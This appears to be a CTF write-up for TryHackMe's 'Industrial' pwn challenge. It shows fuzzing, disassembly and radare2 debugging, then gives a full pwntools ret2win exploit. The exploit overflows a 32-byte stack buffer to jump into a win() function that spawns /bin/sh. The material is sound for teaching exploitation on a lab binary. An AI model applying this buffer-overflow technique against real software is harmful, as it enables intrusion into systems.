Overview
Today we will work on TryHackMe’s “Industrial” challenge. It was a medium rated pwn challenge and part of THM’s Industrial Intrusion CTF. It focused on buffer overflow’s ret2win technique to cause the function return to jump to a desired function, while still being mindful of the stack structure. So let’s begin!
Note: Since this was a CTF challenge, the file might not be available. You can find the binary for this file in the resources section at the end.
Initial Checks
In-built Capabilities
$ pwn checksec --file ./industrial
[*] '/Path/To/industrial'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Nice, we don’t have canary and PIE enabled, which will make debugging and exploit development easier.
Manual Test
As usual, let’s just a feel of the program by running it.
$ ./industrial
Enter the next command : Thanks
Thanks
$ ./industrial
Enter the next command : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks
Segmentation fault (core dumped)
$ ./industrial
Enter the next command : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks
Illegal instruction (core dumped)
By manual fuzzing we found something interesting. For small inputs (<40 char), it simply prints “Thanks” and exits, and on longer inputs (>40 char), it returns segmentation fault indicating a posible buffer overflow situation. But with an input of exactly 40 char, it gives us Illegal instruction (core dumped), which is really interesting as it indicates we are also tampering the instruction pointer somehow.
Code Analysis
Let’s jump into the actual implementation of code and disassemble it with ghidra first
Ghidra Disassembly
The main() function is pretty straightforward:
int main(void)
{
undefined1 local_28 [32];
FUN_004010c0(stdout,0,2,0);
FUN_004010c0(stdin,0,2,0);
FUN_004010c0(stderr,0,2,0);
printf("Enter the next command : ");
read(0,local_28,0x30);
puts("Thanks");
return 0;
}
where the FUN_004010c0()function simply sets the provided stream to be buffered or not using setvbuf() and then reads 48 bytes into a 32 bytes array, which could be an entry to buffer overflow attacks. But apart from that this function doesn’t do much.
Exploring Further
Upon checking other functions, we can see a win() function:
void win(void)
{
system("/bin/sh");
return;
}
This spawns a shell and seems like our pathway ahead. Let’s see if we can find a way to reach this function.
Exploit
Theory
Since we can overwrite the array in main() we could try to manipulate the return address in main()’s stack frame and jump to this win() function. We can verify this before developing our exploit by checking main()’s assembly code:
┌ 166: int main (int argc, char **argv, char **envp);
│ afv: vars(1:sp[0x28..0x28])
│ 0x004011d0 f30f1efa endbr64
│ 0x004011d4 55 push rbp
│ 0x004011d5 4889e5 mov rbp, rsp
│ 0x004011d8 4883ec20 sub rsp, 0x20
│ ... ... ...
So the main() function is allocating 32 bytes onto the stack, and the next 8 bytes are for previous base pointer and the next 8 after would be the return address, which as a matter of fact coincides with the 48 bytes we are able to overwrite through local_28 array.
Exploit Development
Preliminary Test
This time lets work with radare2. So we load the binary, find the location of the win() function, set the breakpoint right after our input in main().
[0x0040125b]> pxq 80 @ rbp-32
0x7ffdae61f1f0 0x0000000000000000 0x00007f96e17a7900 .........yz.....
0x7ffdae61f200 0x0000000000000000 0x00007ffdae61f2a0 ..........a.....
0x7ffdae61f210 0x0000000000000001 0x00007f96e159dca8 ..........Y.....
0x7ffdae61f220 0x00007ffdae61f310 0x00000000004011d0 ..a.......@.....
0x7ffdae61f230 0x0000000100400040 0x00007ffdae61f328 @.@.....(.a.....
[0x0040125b]> dc
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
INFO: hit breakpoint at: 0x401260
[0x0040125b]> pxq 80 @ rbp-32
0x7ffdae61f1f0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffdae61f200 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffdae61f210 0x000000000000000a 0x00007f96e159dca8 ..........Y.....
0x7ffdae61f220 0x00007ffdae61f310 0x00000000004011d0 ..a.......@.....
0x7ffdae61f230 0x0000000100400040 0x00007ffdae61f328 @.@.....(.a.....
This confirms we can overfill the array and overflow into the stack frame (the last 0x0a replaced the value at rbp). So let’s try replacing the return address now. We can create the binary payload to be directly entered in radare2 for this.
from pwn import *
payload = b"A" * 32 + p64(0x01) + p64(0x004011b6) # Overflow + new return address
with open("payload.bin", "wb") as f:
f.write(payload)
I entered 0x0000000000000001 after the A’s as I try to keep the same value at rbp so as to not mess the stack. Although since this rbp is already uncommon, it wouldn’t matter if we use 40 A’s instead. So we prepare our rarun file and run radare.
#!/usr/bin/rarun2
program=./industrial
stdin=./payload_0a.bin
$ r2 -r run.rr2 -d industrial
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x7fb5ab8f5440]> aaa
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
...
INFO: Recovering local variables (afva@@@F)
INFO: Use -AA or aaaa to perform additional experimental analysis
[0x7fb5ab8f5440]> pdf @ sym.win
┌ 26: sym.win ();
│ 0x004011b6 f30f1efa endbr64
│ 0x004011ba 55 push rbp
│ 0x004011bb 4889e5 mov rbp, rsp
│ 0x004011be 488d053f0e.. lea rax, str._bin_sh ; 0x402004 ; "/bin/sh"
│ 0x004011c5 4889c7 mov rdi, rax
│ 0x004011c8 e8c3feffff call sym.imp.system ; int system(const char *string)
│ 0x004011cd 90 nop
│ 0x004011ce 5d pop rbp
└ 0x004011cf c3 ret
[0x7fb5ab8f5440]> db 0x004011c8
[0x7fb5ab8f5440]> db 0x004011cd
[0x7fb5ab8f5440]> dc
Enter the next command : Thanks
INFO: hit breakpoint at: 0x4011c8
[0x004011c8]> dc
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0
[0x7f764c1d2df4]>
So we do see that we entered the win() function, but it returned a segmentation fault when continued, and specifically it SIGSEGVs within the system() function due to the SIGNAL 11 before reaching the next breakpoint. But why? One possible reason could us messing with the rbp value, and the system() function when making internal calls tried referencing some restricted rbp+offset value. But we tried to put the same rbp value we saw so please let me know if you know. But for now, we can try skipping the function prologue so as to not push weird values onto the stack and go straight to the function (at 0x004011be) and run the program again similarly.
Testing exploit
[0x7f764c3b2440]> db 0x004011c8
[0x7f764c3b2440]> db 0x004011cd
[0x7f764c3b2440]> dc
Enter the next command : Thanks
INFO: hit breakpoint at: 0x4011c8
[0x004011c8]> dc
(48434) Created process 48491
[0x7ffab8ba77a9]> dc
[+] SIGNAL 17 errno=0 addr=0x3e80000bd6b code=1 si_pid=48491 ret=0
[+] signal 17 aka SIGCHLD received 0 (Child)
[0x7ffab8b30a14]> dc
INFO: hit breakpoint at: 0x4011cd
[0x004011cd]> dc
This confirms we succesfully created a Bash process, but since it’s not connected to a terminal, we cannot access it directly. So let’s create a python program to input a payload and give us an interactive session. Below is the logic for it:
def exploit(proc):
proc.recvuntil(b"Enter the next command : ")
payload = b"A" * 32 + p64(0x01) + p64(0x004011be, endianness='little')
proc.sendline(payload)
proc.interactive()
And with this we exploited the binary to provide us the flag!
Complete Exploit
from pwn import *
def exploit(proc, attach=False):
proc.recvuntil(b"Enter the next command : ")
if attach:
gdb.attach(proc, gdbscript='b *0x00401260\nc')
pause()
payload = b"A" * 32 + p64(0x01, endianness='little') + p64(0x4011be, endianness='little')
proc.sendline(payload)
proc.interactive()
def main():
context.log_level = 'error'
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF('/home/mehul/Documents/Codes/challenges/industrial/industrial')
proc = None
try:
proc = process(elf.path)
output = exploit(proc, attach=False)
except Exception as e:
print(f"An error occurred: {e}")
finally:
if proc is not None:
proc.close()
if __name__ == "__main__":
main()
Resources
- Industrial.zip (SHA256sum: 11e8de6b5c747a6e018fc7e4c86396acab9f67ed7051832cb45b216272731837)